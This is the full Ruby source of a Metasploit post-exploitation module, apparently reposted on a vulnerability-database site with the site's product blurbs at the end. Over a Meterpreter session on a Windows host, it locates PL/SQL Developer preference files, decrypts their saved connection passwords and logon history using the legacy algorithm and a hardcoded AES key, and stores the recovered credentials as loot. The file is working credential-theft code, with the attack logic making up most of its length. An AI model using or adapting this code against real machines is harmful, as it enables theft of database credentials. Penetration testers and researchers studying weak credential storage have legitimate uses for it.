##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
'Description' => %q{
This module can decrypt the histories and connection credentials of PL/SQL Developer,
and passwords are available if the user chooses to remember.
},
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
],
'Author' => [
'Adam Caudill', # Discovery of legacy decryption algorithm
'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_ls
stdapi_fs_separator
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
]
)
end
def decrypt_str_legacy(str)
result = ''
key = str[0..3].to_i
for i in 1..(str.length / 4 - 1) do
n = str[(i * 4)..(i * 4 + 3)].to_i
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
end
return result
end
# New AES encryption algorithm introduced since PL/SQL Developer 15.0
def decrypt_str_aes(str)
bytes = Rex::Text.decode_base64(str)
cipher = OpenSSL::Cipher.new('aes-256-cfb8')
cipher.decrypt
hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
cipher.key = hash + hash[0..11]
cipher.iv = bytes[0..7] + "\x00" * 8
return cipher.update(bytes[8..]) + cipher.final
end
def decrypt_str(str)
# Empty string
if str == ''
return ''
end
if str.match(/^(\d{4})+$/)
return decrypt_str_legacy(str) # Legacy encryption
elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
return decrypt_str_aes(str[2..]) # New AES encryption
end
# Shouldn't reach here
print_error("Unknown encryption format: #{str}")
return '[Unknown]'
end
# Parse and separate the history string
def parse_history(str)
# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
result = Hash[@keys.map { |k| [k.to_sym, ''] }]
result[:Parent] = '-2'
if str.end_with?(' AS SYSDBA')
result[:ConnectAs] = 'SYSDBA'
str = str[0..-11]
elsif str.end_with?(' AS SYSOPER')
result[:ConnectAs] = 'SYSOPER'
str = str[0..-12]
else
result[:ConnectAs] = 'Normal'
end
# Database should be the last part after '@' sign
ind = str.rindex('@')
if ind.nil?
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Database] = str[(ind + 1)..]
str = str[0..(ind - 1)]
unless str.count('/') == 1
# Unexpected format, just use the whole string as DisplayName
result[:DisplayName] = str
return result
end
result[:Username] = str[0..(str.index('/') - 1)]
result[:Password] = str[(str.index('/') + 1)..]
return result
end
def decrypt_pref(file_name)
file_contents = read_file(file_name)
if file_contents.nil? || file_contents.empty?
print_status "Skipping empty file: #{file_name}"
return []
end
print_status("Decrypting #{file_name}")
result = []
logon_history_section = false
connections_section = false
# Keys that we care about
@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
# Initialize obj with empty values
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
# Folder parent objects
folders = {}
file_contents.split("\n").each do |line|
line.gsub!(/(\n|\r)/, '')
if line == '[LogonHistory]' && !(logon_history_section || connections_section)
logon_history_section = true
next
elsif line == '[Connections]' && !(logon_history_section || connections_section)
connections_section = true
next
elsif line == ''
logon_history_section = false
connections_section = false
next
end
if logon_history_section
# Contents in [LogonHistory] section are plain encrypted strings
# Calling the legacy decrypt function is intentional here
result << parse_history(decrypt_str_legacy(line))
elsif connections_section
# Contents in [Connections] section are key-value pairs
ind = line.index('=')
if ind.nil?
print_error("Invalid line: #{line}")
next
end
key = line[0..(ind - 1)]
value = line[(ind + 1)..]
if key == 'Password'
obj[:Password] = decrypt_str(value)
elsif obj.key?(key.to_sym)
obj[key.to_sym] = value
end
# Color is the last field of a connection
if key == 'Color'
if obj[:IsFolder] != '1'
result << obj
else
folders[obj[:Number]] = obj
end
# Reset obj
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
end
end
end
# Build display name (Add parent folder name to the beginning of the display name)
result.each do |item|
pitem = item
while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
pitem = folders[pitem[:Parent]]
if pitem.nil?
print_error("Invalid parent: #{item[:Parent]}")
break
end
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
end
if item[:Parent] == '-2'
item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
else
item[:DisplayName] = '[Connections]/' + item[:DisplayName]
end
# Remove fields used to build the display name
item.delete(:Parent)
item.delete(:Number)
item.delete(:IsFolder)
# Add file path to the final result
item[:FilePath] = file_name
end
return result
end
def enumerate_pref(plsql_path)
result = []
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
session.fs.dir.entries(pref_dir).each do |username|
udir = pref_dir + session.fs.file.separator + username
file_name = udir + session.fs.file.separator + 'user.prefs'
result << file_name if directory?(udir) && file?(file_name)
end
return result
end
def run
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
profiles = grab_user_profiles
pref_paths = []
profiles.each do |user_profiles|
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
if dirname.start_with?('PLSQL Developer')
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
pref_paths += enumerate_pref(search_dir)
end
end
end
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?
result = []
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }
tbl = Rex::Text::Table.new(
'Header' => 'PL/SQL Developer Histories and Credentials',
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
)
result.each do |item|
tbl << item.values
end
print_line(tbl.to_s)
# Only save data to disk when there's something in the table
if tbl.rows.count > 0
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
print_good("Passwords stored in: #{path}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation